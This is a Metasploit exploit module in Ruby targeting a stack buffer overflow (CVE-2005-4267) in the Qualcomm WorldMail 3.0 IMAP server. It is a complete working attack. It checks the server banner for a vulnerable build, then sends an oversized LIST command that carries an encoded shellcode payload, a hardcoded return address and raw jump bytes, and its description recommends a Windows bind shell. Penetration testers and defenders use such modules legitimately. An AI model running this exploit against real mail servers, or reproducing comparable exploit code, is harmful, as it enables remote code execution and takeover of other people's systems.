##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server
        version 3.0 (build version 6.1.22.0). Using the PAYLOAD of windows/shell_bind_tcp
        allows or the most reliable results.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2005-4267'],
          [ 'OSVDB', '22097'],
          [ 'BID', '15980'],

        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00\x0a\x20\x0d\x7b", 
          'StackAdustment' => -3500,
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'WorldMail 3 Version 6.1.20',   { 'Ret' => 0x10022187 } ], # msremote.dll
        ],
      'DisclosureDate' => 'Dec 20 2005',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect
    
    if (banner and banner =~ /WorldMail 3 IMAP4 Server 6.1.22.0 ready/)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    
    jmp =  "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
    jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
    jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"

    sploit =  "a001 LIST " + rand_text_alpha_upper(20, payload_badchars) 
    sploit << payload.encoded + "\xeb\x06" + make_nops(2) + [target.ret].pack('V') 
    sploit << make_nops(8) + jmp + rand_text_alpha_upper(40, payload_badchars) 
    sploit << "}" + "\r\n"

    sock.put(sploit)
    
    handler
    disconnect
  end

end